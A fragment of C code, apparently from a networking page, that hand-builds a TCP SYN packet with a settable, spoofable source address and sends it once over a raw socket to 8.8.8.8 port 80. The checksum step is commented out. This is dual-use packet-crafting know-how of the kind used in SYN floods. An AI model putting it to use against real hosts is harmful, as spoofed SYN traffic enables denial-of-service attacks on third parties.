serv.sin_addr.s_addr = inet_addr ("8.8.8.8");
struct tcp_pseudo
{
uint32_t src_addr;
uint32_t dst_addr;
uint8_t zero;
uint8_t proto;
uint16_t length;
} pseudohead;
struct help_checksum
{
struct tcp_pseudo pshd;
struct tcphdr tcphd;
char tcpdata[1024];
} tcp_chk_construct;
// Create Packet Header
iph.ihl = 5;
iph.version = 4;
iph.tos = 0;
//iph.tot_len = sizeof(struct iphdr) + packetsize;
iph.tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
iph.id = rand_cmwc();
iph.frag_off = 0;
iph.ttl = MAXTTL;
iph.protocol = IPPROTO_TCP;
iph.check = 0;
iph.saddr = inet_addr(source_ip);
iph.daddr = serv.sin_addr.s_addr;
// Create TCP Header
tcph.source = htons (1234);
tcph.dest = htons (80);
tcph.seq = 0;
tcph.ack_seq = 0;
tcph.doff = 5;
tcph.fin=0;
tcph.syn=1;
tcph.rst=0;
tcph.psh=0;
tcph.ack=0;
tcph.urg=0;
tcph.window = htons (5840);
tcph.check = 0;
tcph.urg_ptr = 0;
//pseudohead.src_addr = iph.saddr;
//pseudohead.dst_addr = iph.daddr;
//pseudohead.dummy = 0;
//pseudohead.proto = iph.protocol;
//pseudohead.length = htons(sizeof(struct tcphdr) + packetsize);
//tcp_chk_construct.pshd = pseudohead;
//tcp_chk_construct.tcphd = tcph;
//memcpy(tcp_chk_construct.tcpdata, buffer, packetsize);
//tcph.check = in_cksum((unsigned short *) &tcp_chk_construct, sizeof(struct tcp_pseudo) + sizeof(struct tcphdr) + packetsize);
memcpy((void *)buffer, (void *) &iph , sizeof(struct iphdr));
memcpy((void *)buffer + sizeof(struct iphdr), (void *) &tcph , sizeof(struct tcphdr));
//memcpy(packetsize + sizeof(struct iphdr) + sizeof(struct tcphdr), buffer, packetsize);
if (sendto (sockfd, buffer, iph.tot_len, 0, (struct sockaddr *) &serv, sizeof (serv)) < 0)
{
printf ("error\n");
}
else
{
printf ("Packet Send \n");
}
return 0;
}

Resources